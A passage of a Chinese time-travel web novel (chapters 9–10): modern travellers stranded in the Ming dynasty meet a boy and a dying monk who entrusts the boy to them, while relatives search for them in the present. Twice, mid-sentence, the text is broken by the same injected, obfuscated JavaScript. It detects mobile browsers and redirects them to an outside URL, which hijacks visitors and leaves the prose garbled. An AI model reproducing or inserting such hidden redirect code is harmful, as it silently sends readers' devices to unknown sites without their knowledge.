陆锐随着陈廷宜去了他的办公室,陈廷宜打开电脑,语气亲和地问:“小陆同志是哪里人啊?做什么工作?” 来了!陆锐早就有警觉,谨慎地说:“是北京人。”就不再多说了。 陈廷宜开始打字:“我会以大学需要进行科学实验的理由让地方上保护现场痕迹的,你觉得可以吗?” 看您说的!陆锐忙说:“您来决定,我只是来送个消息。”说来,这件事到此就该没有他的事情了。他不是科学家,那些人也不是他的亲人,他可不就是送信搭桥的吗?现在有人去调查了,他是不是就该回军营了? 陈廷宜笑着:“送的消息很重要哇,小同志,父母在北京吗?” 陆锐眨眼:“在。”又不多说了。 陈廷宜打出了一张纸,拿出钥匙打开旁边的抽屉,往纸上盖了章,递给陆锐:“你看看,不行的话我再改。”陆锐忙说:“这是韩教授要的,您给他就行了,我只需要拍个照片,传给现在已经在那里的人。”说完陆锐接过纸张,拿出手机拍了一张,又把纸张递还给了陈廷宜。 陈廷宜笑着接过来,更加仔细地打量陆锐。 陆锐起身道:“那我就先告辞了!”半弯了下身体,离开了陈廷宜的办公室。他将照片发给何牧,然后给父亲打电话,接通后陆锐有些担忧地说:“爸,我可能碰上了一个那种人。他大概会查到您。” 陆定昆问:“查到我给你请了假?然后呢?” 陆锐默——违规请假……这够不上个处分吧?还好。 陆定昆没好气地说:“没事的话就回家陪陪你妈,目的达成后就尽快回部队吧。” 陆锐应道:“是。”他已经做了他应该做的,只是他心中有种感觉,这事没完…… 陈廷宜等陆锐离开后拨了个电话,他没有介绍自己也没有称呼对方,直接说:“有件事我觉得还是该汇报一下……” 9. 第 9 章 王大栋一手举着插在一根木枝子上的整只兔子一手拿着铁锹,脸色看着有些发白。小男孩还是一手提刀,一手拿着个兔皮裹成的包。 李夏端下小盆说道:“架在这里烤吧,在这边弄个枝子撑着。” 王大栋将兔子棍的一端放在小灶的后墙上,拿个树杈埋在地里支撑着另外一端。他干完了起身一下愣住,指着趴在地上往这边看的豹子,颤着声音说:“豹、豹、豹子!” 李夏说:“没事了,好像被喇嘛多杰骂得服帖了。” 小男孩也发现了豹子,放下兔皮包袱展开,拿出里面血糊糊的内脏什么的,猛地向豹子投了过去。豹子一下飞起扑到,然后趴在地上抱着几口吃了,接着就起身走开了…… 众人:…… 王大栋终于嘶了一声,回头问小男孩,“恁和豹子熟?!” 小男孩回答了几句,人们都听懂了,就是他经常见这豹子,豹子喜欢在这溪水附近,他过去也喂过好多次了。 大家傻了:难道豹子总来找人是因为想被投喂?! 李夏觉得世界观都被颠覆了!难道我们恐惧了个寂寞?!可大家也没吃的给豹子啊,豹子失望了会不会对我们下嘴?所以害怕还是应该的! 为了掩饰尴尬,李夏指塑料桶:“没水了。” 王大栋说:“我去打。”他看小男孩,“恁跟俺去洗手。”小男孩看看自己血污的手,抬眼见小女孩又在车窗前笑,就跟着王大栋走了。王大栋这回真不怕了,连铁锹都没带。 秦莉也到了车门处,递过来一包方便面的调料说道:“拿这个抹兔子肉。” 李夏说:“好主意!”这些可都是精贵的!李夏找了树叶扎成小刷,小心翼翼地将酱料往兔肉上擦。火苗本来就小,吕容过来轻轻地转动树枝,阿强在一旁照相。 小女孩也到了门边,趴到了妈妈背上看着外面。秦莉有些心酸:女儿被拘在车里像是坐牢一样,但这山地里,豹子虽然走了,她还是不敢放女儿下来。 过了会儿,王大栋拎着塑料桶和小男孩回来了。喇嘛抱过来一大捆树枝,然后就对着兔子又唱上了。 唱完了豹子唱兔子,全方位覆盖! 王大栋让阿强帮忙,把汽车上卸下来的两个长椅子搬了下来。秦莉见人多,终于小心翼翼地拉着女儿也下车。小男孩很紧张,不愿往前凑——小仙女没接受兔子,自己拿兔子换了好吃的,现在手里除了把刀什么都没有了…… 秦莉和女儿坐了一张座椅,李夏和吕容坐了另外一张,其他人围着小火堆坐了一圈。 多杰唱完了,王大栋拿了工具刀,一条条割下烤好的兔肉放在小盆里。 李夏说:“大家手不干净可别碰食品,不要拉肚子。” 于是人们就拿了小树枝子,用火烧了当叉子,缩手缩脚地一片片地吃。王大栋也分给了小男孩——人家才拿了块糖还帮着收拾了兔子,自然也该一起吃饭。 小男孩本来拒绝了一下,但王大栋说了句:“恁快点拿着!”小男孩就伸手接了过来,立刻放在嘴里,习惯性地几口嚼了刚要咽了,生生地停住——真是太好吃了!难怪这些人吃得这么慢!小男孩也慢慢地咀嚼,想长久地品尝这个味道。 小女孩何萱很高兴能下车玩,她坐下了不急着吃肉,来回看,欣赏着人们动嘴,终于,小男孩抬眼碰到了她的目光,何萱笑咪咪地叫:“虎虎。” 李夏眨眼,小男孩的脸腾地通红,使劲低了头——小仙女都开口叫自己了,可自己什么都没有,丢死人了…… 其他人都笑:“小孩子害羞了!”“当初送兔子的时候不是挺大胆的?”“兔子不是被咱们吃了?” 秦莉忙说:“不能那么叫,要叫小哥哥。” 何萱抱着兔子依然笑着看不抬头的小男孩:“虎虎。” 秦莉放弃,发现喇嘛多杰干坐着,忙问:“多杰,你吃啊。” 喇嘛犹豫了一下说道:“我还是,那个,先不吃了。” 秦莉说:“那我给你去拿糌粑。”她刚要起身,回身看女儿,李夏说:“我帮你看着。”秦莉对女儿说:“宝宝别动,妈妈这就回来。”忙回去车上了。 母亲一走,小女孩反而活泼了些,动来动去,李夏一手拉了她的胳膊:“你可别动弹,等妈妈来。” 小女孩看着人群外的树林,叹了口气。 大家笑:“小大人一样!” “宝宝,你妈妈是怕你出事,这里有豹子,叼走你可怎么办?” 小男孩低着头不屑地撇嘴:那只惫懒的豹子,一块石头就能砸晕它!日后跟这些人熟了自己就带小仙女出去玩,但她的娘不让咋办?…… 秦莉回来,给了多杰一块糌粑,然后问女儿:“想吃兔肉吗?” 小女孩抱紧自己的长耳兔连连摇头,秦莉像是早就料到了,给了女儿一小块糌粑,小声说:“慢慢吃。” 小女孩拿过糌粑,一下下地小口咬着。 小男孩恨不得马上离开,去找点什么给女孩送来,王大栋见他脚乱动就又给了他一片肉,问道:“你家住在哪儿?” 男孩本想拒绝但肉真的太好吃了,还没反应过来手已经拿了放嘴里了。 两个人来回说了几句,大家在一边听着,这小孩子说他就住在不远的寺庙里,从这里过溪再往上一点就到了。 秦莉小声问:“不是我们要去的那个寺吧?” 李夏马上摇头:“那个在海拔一千多米的山上,我们那时没怎么上山吧?看录像我们落在山岩下。”小男孩几乎没穿衣服,头发也是个乱鸡窝,没有时代感。更让她疑惑的是:这个孩子说的是带着河南话的方言,那是不是说她们其实没到异空间? 李夏问小男孩:“你知道这是什么年代?几几年?” 小男孩眨巴眼,好像没听懂,王大栋以为小男孩不习惯普通话,忙用河南话又问了一遍。 小男孩有些窘迫,说:“俺不道儿。” 王大栋见李夏没反应,翻译了一下:“他不知道。” 小男孩又小声说了几句,王大栋说:“他说山下的村子要走半天,他的寺院里有个老和尚,叫爷,应该知道。” 这时李夏又觉得到了异时空了,义务教育这么多年,就是山民也都知道自己住哪儿了。如果真的是个陌生的地方,李夏挺不想接触到本地人的,万一有怀了歹意的,本方这一团队很弱鸡,交手必败。但她因为豹子的事告诫自己不要墨守成规——你不知道宇宙给你安排了怎样的惊喜!就迟疑地问大家:“你们觉得我们是不是该去见那个老和尚?” 王大栋说:“应该呀,至少该知道我们到了什么地方,这是个什么年月。” 吕容担忧:“可万一路上……” 喇嘛问:“什么什么?” 吕容给他看了翻译,喇嘛多杰说:“我去,那个,看。” 关键你去了也听不懂、说不清啊! 李夏想想:“要不,我、王大哥和喇嘛去见,你们其他人在这里等着?” 阿强说:“我也想去看看,这个孩子都能行走,我们也该行吧?” 吕容说:“那我也跟你去!我不喜欢等在后面,心焦。” 秦莉迟疑着:“按理我该去的,我做了梦,可是……”她抬眼看周围,这山林草木,万一再出个老虎…… 小男孩挺起瘦削的胸膛用手拍了拍,说了几句话。人们发现如果虎子说的慢,其实大家是可以听懂的。那么普通话如果慢慢说,人家小孩子也该能理解。但王大栋还是笑着翻译说:“他说他会护送我们去再回来,说他是这片山的大王。” 人们都笑了,小女孩又对着男孩笑:“虎虎。” 人们以为小女孩就是笑男孩子自称为王,更笑了:“宝贝儿真聪明啊!”“刚才她就说这小子是老虎呢。”“她只是不说话,但听得懂。” 李夏细看抱着长耳兔的小女孩:这简直是“骗我生女儿”广告的模版,含笑的眼睛,花瓣一样的嘴唇,细腻的肌肤……还不到四岁吧?她难道也看到了自己瞥见的老虎?还是自己在瞎猜? 小男孩再次红脸低头,看着恨不得钻地里面去。 众人吃完了兔子,连骨头也分拆啃得干净,小男孩一扬手,把骨头扔得远远的,大家明白,也学着他把骨头扔开——那个讨食的豹子别过来!扔完骨头人们发现,没人比小男孩扔得更远,再次坐实了这帮人的菜鸡本色。 吃了肉加上有了小男孩这么个看着友善日后可以请他打猎的第一位土著朋友,大家情绪高昂。稍微收拾了一下,就……先集体上厕所,这是顺路!然后才是过小溪,跟着小男孩上山。 按照小男孩的话就是:“寺庙老近嘞。”走起来才发现——对这些人来说,那是很远!许多次小男孩跑到前面了,又折返回来找他们。 可这能怪他们吗?一条窄得仅容一人的草路,如果不是小男孩来回乱跑都看不出来好不好?走了好久还有信号——因为实际上没走出多远。阿强吕容的手机电不足了,就让李夏经常拍个照录个视频,可后来李夏都累得懒得举手机了。大家还要轮流抱何萱,所以不久人人满脸是汗,气喘吁吁。好几次大家都想往回走,但小男孩总是指着前面说“就到嘞”。 等他们终于看到了残破得根本不能说是寺院只是两间土房的建筑时,大家肚子里那几条兔肉早就没了,人们脚步踉跄,虚脱得就要往地上坐。李夏想此时别说有人埋伏什么的,只这个小孩子就能把大家全收拾了! 他们跟着气息平稳的小男孩进了间屋子,小男孩扑向坐在一尊泥塑的简陋佛像下的一个老人,兴高采烈地说:“爷,俺回来啦!俺给恁带了人来。这些俺的朋友,他们给俺吃了一颗果,可老甜啦!……” 众人都进了门,这屋子也就站满了。 小男孩指着这几个人兴奋地咿哩哇啦,李夏喘息着打量这个老人。 老人很瘦,眼窝都陷下去了,但带着淡然的笑容,有种慈祥感,头好像刚刚剃,有些发青,衣服全是补丁,不是衣服带着补丁,而是补丁上叠加补丁,根本看不到原来的本色。 他边听着小男孩的介绍,边抬眼打量众人。 李夏向王大栋使眼色让他开口,王大栋擦了下汗,可他还没来得及出声,就见喇嘛多杰哽咽着叫了一声:“堪布拉!”到了老和尚面前跪下哭了。 有故事!被疲劳浇灭的记者职业感猛地醒过神儿来,李夏掏出手机,开始录像。然而并没有多大用处,喇嘛多杰哭着说话……是藏语,在场的大概没有一个能明白。 老和尚笑了笑,摸了摸多杰的头,说道:“你我有缘。” 他这么一说话,大家都愣了——完全听得懂了!不是河南话,照李夏走南闯北的些微感觉,老和尚说的有点像南京话,但也有北方方言的感觉。 李夏等不及王大栋了,忙问道:“请问这是什么年代?这是在哪里?” 老和尚看向李夏,和蔼地说:“这是天启六年,此地属汝州庆云乡鲁山县。” 大家的愣了,李夏想了想说:“天启?这该是明朝吧?”其他人都看着她——离开学校多少年了,谁还记那玩意儿。 老和尚点头:“是明朝。” 一下子,听懂的几个现代人全呆了——他们虽然反复讨论过异时空,可真被实锤了,还是升起了种绝望感。 李夏想着自己还在采访,不能冷场,就又问:“这附近有个里面有五棵两千多年古树的大寺庙吗?”那是这行人的目的地。他们要去的寺庙在明代有过三次修缮,到了清代大修前已被称为“旧有xx寺”——大概没几间房。真正的大修大建其实是在九十年代。这个很好理解,海拔一千多米,从食物到木料石头的运输,人工的耗费都注定了古代的建造不会有现代的规模,可相比这周围的森林,这个在明代三修过的寺庙在本地肯定算是大寺庙了。 老和尚指了指上面:“在那边山顶,很远,确是很大,有古树。” 王大栋扭着脖子往外看,回头对大家说:“看来我们真的就落在了原地。” 李夏点头同意——按照方位看,汽车是跌入了同一地区的不同时间段。 而这肯定不是原来世界的过往,否则的话他们怎么能与原世界保持通讯?因为改变了过去,未来就随之变化……“天哪!”吕容小声惊叫:“我看过一个短视频,那个人说有十四个地球,真的!还说我们的宇宙的膜破了,所以数据文明才入侵了……” 王大栋说:“不是吧!咋有十四个地球?” 吕容说:“是分离,一个地球分化了两个。” 王大栋说:“地球咋分开?那么大个的一个球!” 吕容皱着眉:“也许不是在讲地球?还有个小视频说,万物都是那什么波,只不过我们看不到。”她在做直播,天天就是刷小视频好不好? 李夏此时觉得小视频比她读的书都有用了,真心领教道:“是啊!那波不就可以共存?我们同波,只是不同段吧?” 王大栋眼睛快对上了:“什么什么?” 李夏又发奇想:“有没有可能,我们还是到了原来的地球,只是我们的到来没有起任何作用,所以他们的现代没有改变?” 吕容顽固地抱着她的地球分离论:“也许我们到了这里,地球就分开了?我们在的是一个地球,他们在的是另外一个?” 王大栋竟然有些明白了:“恁是说,俺一到这里,那波就不一样嘞?” 阿强小声说:“那是肯定的,这里原来没有你的车,也没有我们这些人……” 人们都点头:是啊! 老和尚微笑:“一切有为法,如梦幻泡影,如露亦如电,应作如是观。不必多虑,只需行善积德而已。”人们又看老和尚,老和尚一个一个地看他们,每个人都觉得老人的目光像是一下看到了他们的内心,他们是谁,他们是什么样的人,老人都看得明明白白。 老和尚笑着向小女孩说:“这女娃有慧根。”他对秦莉说:“你要好好养娃。”秦莉连连点头:“是是。”这不是和自己母亲说的一样吗? 老和尚又看吕容和阿强,也笑着说:“人间良缘难得,好好珍惜,更何况得了仙人点播,不可荒废。”阿强激动得结巴:“谢谢……谢谢。”吕容紧挽阿强的胳膊,笑得开心。 李夏在老和尚看过来时忙把手机递给了阿强,紧张地看老和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338296|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尚,老和尚对李夏笑着说:“莫忘初心哪!”李夏一愣:我的初心是什么……哦!世界和平!天哪,那是……那是被迫发的,现在这初心有什么用?不能吃不能喝,也不能给手机充电…… 王大栋凑上前:“您也看看我。” 老和尚笑:“宅心仁厚,山水有福了。” 王大栋歪头想:山水有福是什么意思?我成了环境保护人士?可是我连只兔子都不敢杀,自己能活多久都不知道,还保护什么环境? 老和尚这一番话下来,旁人听着都平淡无奇,对个中之人却似另有奥义。可不及大家多想,老和尚又道:“你们来得正好,我有事托付。” 大家又愣了,看这个老人——精神还很好啊?要托付什么? 老和尚对小男孩用河南话说:“虎子,恁去地里取个萝卜来待客嘞。”男孩答应了,起身就跑了。 虎子?人们惊讶地看被妈妈抱着的小女孩——这小女孩叫小男孩“虎虎”,原来不是呼呼,是他的名字? 见小男孩跑出了门,老和尚对几个人说:“你们初来乍到,需要个人给你们跑跑腿,他日后也能帮到你们,就让这孩子和你们在一起吧。”他拿起身边的一个小包裹,随手给了离他最近的王大栋:“这里面有些银子,是虎子的。他长在武将之家,后来随他的父亲驻扎沈阳。六年前,后金攻克沈阳,辽东经略袁应泰举家自杀殉国,我朝众多武将精锐覆灭。他父亲也战死了。后金屠城,他家除他之外满门尽灭。我与他祖父有交,他父亲曾认我为干爹,城破时他父亲心知必死,就派了亲兵护他突围,送他来交我抚养,带了口信说不可让这孩子知道身世,日后长大了最好出家为僧。” 老和尚叹息:“那些亲兵十余人,冒死突围出来,到京城外的山寺找到我时只有两个人了,还带了伤,都没有熬过去。一个亲兵临死时把他的断刀送给了我,说靠着这把刀他们才杀了出来。我那时心情沉重,想归隐山中修行,就带着他一路向南。我的家乡离这里不远,我小时候来过这山顶的文殊寺拜佛。我老家已经没有亲人了,我发现山中这个小破庙是个隐蔽之地,带着他在这里更自在,就没有去上面的寺庙。我叫他虎子,没给他取大名,留给有缘看他长大的人吧。这孩子有天赋,六七岁就会打猎了,我把那把断刀打成了柴刀的样子给他防身。” 众人都点头:难怪小男孩的柴刀很亮的样子。 老和尚又说:“他现在九岁了,不用人费心,聪慧热诚,是个很好的孩子。他的生辰八字就在那包裹里,就请你们时常照顾他一二,别让他走偏了就行。你们不用去查他家的事,不要让他落入复仇的苦海,只对他说家人皆亡故了,其他不知就可。” 我们好像的确没知道多少。 王大栋代表大家说出不解:“您怎么不继续养他了?” 老和尚说:“我的时限已经到了。”说完起身,就要往外走,跪在他身前一直痴痴地看着他的多杰一下拉住了他,问道:“堪布!……你那个,去哪里?” 老和尚说:“我去山上走走。” 虎子一手拎刀一手抱着个萝卜飞快地跑了进来:“爷!”他把萝卜捧给老僧人。 老人没有接,笑着说:“虎子,我要出去云游了,恁从现在起就和这些人在一起吧。” 虎子摇头:“不,俺要爷。” 老人笑着摸小男孩的头:“爷得走了。” 多杰流泪摇头:“不,不要走,堪布,别……别走……” 虎子手里的萝卜一下掉地上了,眼睛里突然就有了泪光:“爷,咋啦?爷不要俺了?” 老人摸小男孩的头,“不是,是爷走的时辰了。” 多杰哭,一通藏文,老和尚又摸多杰的头,叹道:“傻孩子啊!修行的人啊!” 虎子哭了:“可俺不是!俺不是和尚!爷不走。” 多杰抽泣着说:“堪布!好好……那个……好好告别……” 老人看多杰:“你的堪布是怎么告别的?” 多杰看着老和尚:“我……我五岁……当喇嘛……堪布是我的父……后来,堪布病了……让我,那个买药……我出了雪山……我回来……堪布走啦!……”多杰泣不成声。 虎子也呜呜哭出声了。 老和尚叹气:“好吧,听你的。” 他回身盘腿坐了,招手让小男孩过来,小男孩哭着跪在他身前,老人摸着小男孩的脑袋,转成了本地的土话:“孩子,恁是个好孩子,我中意得很。恁能打猎会捕鱼,勇敢仗义又有诚信,是个小男子汉啦。这些人是恁的贵人,可他们现在需要恁的帮忙,恁跟他们在一起,爷就放心了。爷不是不要恁,爷怕走在恁面前恁会太难过。既然恁想和我守到最后一刻,那我走时恁不要哭,不然爷挂念恁泄了气就没法进天门了。不到上面去,就没法在那边看护恁了,恁懂吗?” 虎子哭声小了,勉强点头。 老和尚又摸多杰的头,多杰使劲眨去眼泪盯着老人:“堪布!” 老和尚又转成了官话说:“想来我们有父子之情,你也别哭,都是修行人,那边会见到的,我要看你的功课。” 多杰不知道听懂了没有,只哽咽着点头。 老和尚看了看屋中的几个人,微笑道:“都是天人啊,多谢前来……”说完闭了眼睛。 屋中安静,多杰擦眼睛,虎子要去碰老人的脸,多杰拦住了他,然后对着老人磕了三个头,虎子也学他的样子磕了三个头。 多杰拉着虎子起身,示意大家跟他去屋外,人们跟着他出了门,只听空中一声微响,大家抬头看,晚霞中,有一片七彩祥云。 多杰小声说:“堪布……那个,在破,那个……”他咽回眼泪,又说:“你们都回去,我守这里,三天,那个,不能动堪布。” 虎子怔怔地无声流泪:“俺也要守着爷……” 多杰摇头,指着几个人说:“你,带他们,那个,回去。”他指着小女孩:“妹妹,那个,要吃饭……” 虎子抹着眼泪点了头,捡起地上的萝卜,给了离他最近的王大栋。然后他提着刀,前面带路,一步三回头。除了多杰,大家都跟着他走。 虽然是下山,比上山省些力气,但此时大家都累了,又渴又饿,外加刚刚目睹了老和尚的离世,见虎子失魂落魄的样子,谁都不说话,专注走路。 天渐渐黑了,树林阴暗,风声瑟瑟。他们又没有带火把,李夏想如果这个小男孩跑得快些,大家跟不上可就要迷失在树木中了。 好在虎子没有忘了这帮人的缓慢,经常停下来等着他们,有时还回来用刀砍开枝丫,好让抱着小女孩的人经过。 人们过了溪水围成圈儿,虎子提着柴刀在溪水边给他们放哨。 最后,在天色已经是墨兰色但还没有漆黑的时候,大家终于赶回到汽车旁。 远远就能看到两只黄绿色的眼睛在车边闪闪地向他们望来。虎子举起刀,长声大喊,像是在哭嚎像是在鸣叫,那两只绿眼睛消失了。 王大栋去开了车门,秦莉将女儿放上车,转身担忧地对虎子说:“虎子,你今晚别回去了。” 小男孩摇了摇头,转身走入了夜色中。 10. 第 10 章 秦莉含了眼泪,看着虎子的身影没入了黑暗,小声问李夏:“这孩子没事吧?” 李夏说:“他比我们都强,该没事。” 王大栋把洗了的萝卜用工具刀切开,大家都分了一块吃了,秦莉大家分了袋方便面(调料包没了,干吃面吧),也算是顿有菜有主食的晚餐了。然后王大栋开动引擎,打开了汽车的内部灯光,大家都给手机插了电。 李夏看到有一堆未接来电,是老王和好几个同事打来的。她现在心情低落,不想说话,先忙着吃了萝卜和方便面。 王大栋走到汽车中间没有了椅子的地方坐下,在地上打开了老和尚给的小包,几个人都过来看,里面是一张发黄的生辰贴,写着八字,几块碎银子,一块玉佩,一条金子的百岁锁和两个小小的金手环,看纹路是与百岁锁配套的。 王大栋叹息摇头:“这比俺们都富裕啊!得,留着给他娶媳妇。”说完包起递给李夏:“恁拿着。” 李夏摇头:“你拿着。既然老和尚说你宅心仁厚,从此你就管钱吧。” 王大栋问:“那恁管啥?” 李夏说:“管钱的和批钱的不能是一个人,我管批。” 王大栋顺从地说:“好吧。”将包收了。他叹道:“那个老和尚对虎子讲俺们的方言,就是怕他死后,虎子讲官话不对劲儿吧?” 人们都点头:老和尚这么多年只让虎子讲方言,就是为了这一天。 大家都知道了在哪个朝代在什么地方,谜底解开,可此时大家没有激动——人人精疲力尽,喘气艰难,有人翻看了些明末的信息,当场就陷入了抑郁——从李自成起义到吴三桂灭亡,明末清初国内混战54年。明末全国人口为1亿多,到清世祖时全国人口只剩下1400万人了。锐减70%到80%,损失人口8000多万…… 谁都不想出声谈论。一车人要么刷手机要么发呆,等灯一关,大家为了手机省点,都关了手机,纷纷躺下了。 这又是心累身累的一天!大家这次都躺到了地板上挤在一起,比前一日暖和舒服些,心事重重的众人都迅速睡了过去,有事明天再说吧! 他们这么一撒手,可把这边的人急坏了。老王打了电话没人接,何牧也打了几个电话。秦莉的苹果手机本来就没有充满,没电后就关机了。后来秦莉抱着女儿走了不少山路,累得腰酸背痛,脚上出了血泡,加上心情沮丧,回来只给手机充电都没有开机。她搂着女儿看不够:虎子能自立了,老和尚才安心走了。可女儿才还不到四岁,怎么才能自立?难道也得让她去山林中奔跑,像虎子那样?可女儿娇滴滴的,没有小男孩那种矫健天赋,日后在这个世界怎么活?就是自己这帮人在这样的世道中都不知道还能活多久……她带着女儿躺下,偷偷地流泪直到入睡。 陆锐离开了大学就真的听父亲的话回家去陪母亲了。他端坐在沙发上,看着母亲指挥保姆准备午饭,间或跑来问他是不是要喝水,是不是要吃水果……陆锐没有觉得无聊,他像是品味一杯清茶般享受着与母亲相处的时间,他有种感觉,这样的时间是宝贵的,难道不是吗?他长驻军营,未来的十年不会经常在家,而母亲已经快六十岁了…… 陆锐压下忽起的伤感,听从母亲的招呼坐在饭桌前。他大概数了一下,问道:“妈,这都八菜一汤了,吃得了吗?” 葛红霞不在乎地说:“你爸晚上回来还可以吃,省得再做了,快吃吧。” 午饭间陆锐的手机就响了,他看了一眼,是何牧。陆锐没接——先陪母亲吃完午饭再说。 午饭后,葛红霞催促:“你去午休一会儿,我也得去躺着。” 平时在部队也有午休,陆锐不想打破习惯,自然不会打手机,先去午休了近一个小时。再起来就看到了十几个电话,都是何牧打的,陆锐终于给何牧打回去了。 一接通何牧就大喊:“她不接电话了!发生了什么事?她不接电话了!是不是豹子又去了?!你能不能来啊?!” 陆锐叹气:“也许是手机没电了呢?我把消息带到北京了,T大学的物理团队今天就该能到地方上,我得回部队了。”他不想给父亲找麻烦。 何牧急促地说:“我知道我知道,我给地方的人看你发的公文了。他们现在用黄带子围了地方。今天那个女记者工作的杂志社来了人,叫老王,他说女记者没回京,他也看了车子的痕迹了,也下去找了找,他同意我说的,下面什么都没有。北京警方也过来人了,和本地警方接触了。地方上的人说那个司机是个不靠谱的小青年,高中都是勉强毕的业,因为家里有地,不差钱,平时吊儿郎当,好吃懒做,学车学了五年才学完考完!据说路考考了六次!这得多笨!他妈逼着自己的弟弟带他,所以他的师傅就是他舅舅。刚开始他舅舅看着他开,这两年他才独立开车。刚能独立出车时,他经常偷偷地就开车去县城了,也不跟家里人说,玩上几天才回来。所以虽然他舅舅报了警,可他父母都觉得他只是又出去玩了。地方上就没重视。我真后悔啊!我怎么没陪着她们出来?不,我为什么同意她就这么带孩子出门?上了辆黑车……你说她为什么不接我的电话?!” 何牧滔滔不绝倾泻了半天,陆锐一直沉默着——他能说什么?他能干的都干了。最后他只能再次干巴巴地说:“我觉得是手机没电了。” 何牧紧张地叹息:“是不是没有信号了?是不是出事了?” 陆锐说:“不是还有明天的直播吗?到时候看,别提前担忧。” 何牧说:“我的头发一把把地掉,我不想吃饭,只能喝水……” 陆锐严厉地说:“你是军人!如果能过去了,但你的身体毁了,那有什么用?” 何牧静了片刻低声说:“好吧,谢谢你。” 陆锐说:“有什么新情况告诉我。”新情况!不是已知的! 何牧说了声:“好,那我挂了。” 陆锐划开网页准备定回程的高铁票,葛红霞在客厅里说:“锐锐,陪我出门买点东西,我们去大卖场。” 陆锐迟疑了片刻,说了声好,揣了手机没订票。 他从卧室出来,发现葛红霞小心地看他,陆锐有些心酸,笑着说:“我的事办完了,但明天我吃了午饭再走。”怎么都得看一下早上的直播。 葛红霞眼睛差点红了,可强笑:“那你可真得陪我去,帮我搬东西,不然明天就没法劳驾你了。” 陆锐不善打趣,只能严肃地说:“妈,我是您的搬运工,都听您的。”他能说到这个地步已经算是甜言蜜语了,葛红霞暗叹自己这个儿子没有幽默感,难怪现在还没女朋友! 何牧收了电话,看向周围。他知道他已经麻烦了陆锐太多,而陆锐已经极大地帮助了他——把这件事情捅到了首都,还送来了顶级大学的教授。他不该再扯着陆锐不放了。可他真的想让陆锐在自己的身边,不然自己太难受了。有时哪怕陆锐不说话,就听着自己发发疯,何牧也会觉得压在心头的恐惧稍微少了一点。他竭力按捺住想再打电话乞求陆锐来现场的心思——毕竟那边没有陆锐的亲人,他得找当事人的亲属共鸣才行。 汽车冲出公路的转弯处周围已经被黄带子隔离开了,外面站着许多人,有穿警察制服的,有穿着土气的,那个腋下夹着公文包手里拿着个小笔记本,穿着中年人特有的褐黄色夹克,头发半白但满头浓密不秃的就是失踪女记者的上司老王。何牧向他走去,准备和老王聊聊,不然这么干等着他又会忍不住去打电话骚扰陆锐了。 老王正听一个讲河南话的人的说:“……家里不缺钱,有地通大嘞,谁都楞不中,忒大的小子现在也没娶媳妇儿,若真丢了,还怪可惜嘞……” 何牧耐心地等着老王与河南话老乡结束交谈,在小本子上写完了笔记才搭讪道:“现在很少见人用笔记本啦。” 老王知道这个年轻人是失踪母女的亲人,上午到后已经把对方的消息了解得七七八八,就收了笔记本叹息道:“我们年轻的时候老记者就告诉说好脑筋不如烂笔头,如今都是手机平板了,但我觉得还是记笔记方便,你看刚才的采访,难道还得拿手机录音?录了音我不还得回去再听一遍吗?” 您看来不知道语音转文字。但为了拉关系的何牧是不会指责老同志的!他问:“您要写篇报道吗?” 老王摇头:“我们是对外的,不会发这种消息。但我一个朋友在个报社,他拿不准这事情是不是够派个记者来,就让我随便写个报道。” 何牧问:“你们单位那个记者的家属来了吗?” 老王摇头:“她说没告诉父母,也许是怕父母年纪大了担忧吧,所以我也没联系她的父母。” 何牧喃喃地说:“我妻子也没告诉她的父亲。” 老王问:“那你父母知道吧?”这个小伙子面容疲惫,口唇起泡,这么大的事情该告诉父母了吧? 何牧慢慢地摇了头,老王啧啧:“现在的年轻人都很独立啊!也挺好的。” 是独立吗?这事一出何牧就联系了陆锐,但他在不想活的时候也没想去联系父母。他可以理解秦莉不敢告诉她父亲——秦莉的母亲在秦莉五岁时重病过世,秦莉的父亲没有再娶,把秦莉这个独生女抚养大。秦莉说岳父是个会计,工作上已经是管理层,还有几年就要退休了。他平时自学中医,常去中医药学会之类的地方参加活动,周末去寺庙当义工,生活很是充实。 过去何牧不见得理解,但这两天他觉得岳父能这么潇洒地生活,是因为秦莉婚后幸福。即使小女孩不说话,岳父也觉得没关系,只要孩子身体健康就行。多少次何牧幻想:如果自己像岳父那样,听了秦莉的梦不以为然,说服秦莉好好珍惜女儿,不让她们出游,那现在她们不就还在身边吗?岳父对孩子的爱是全然接受的爱,所以何牧不敢想象如果岳父知道秦莉和外孙女出事会怎样。岳父在另外一个城市独居,已经五十六岁了,何牧现在分身乏术,自然不敢告诉他。 但何牧自己的父母就是另外一回事了。何牧当初很想去文科,结果被父亲暴揍后继续待在了理科班。他学得艰难,成绩也不算好,后来又服从父亲去了军校,其中的痛苦更难言说,好在依靠着陆锐的坚持终于毕了业。 第一次休假在车站等车时,他的斜对面有个穿着像是城市小白领的女孩。那个女孩看着手机里的影像在悄悄流泪,使劲低着头,怕别人发现。何牧的心怦然动了,他那时穿着便衣,就坐过去主动和女孩说话。女孩立刻警惕地想起身离开,何牧赶快出示了自己的军人证,女孩才被安抚下来。当然,何牧认为自己的英俊长相该也给自己加了分。 谈话后发现两个人坐的车南辕北辙,何牧竟然当场改了车票,陪着女孩去了南方她的家!这是他平生第一次如此鲁莽,他不敢告诉父母,只说自己需要去帮助战友,晚些日子回家。 何牧住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338297|199270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 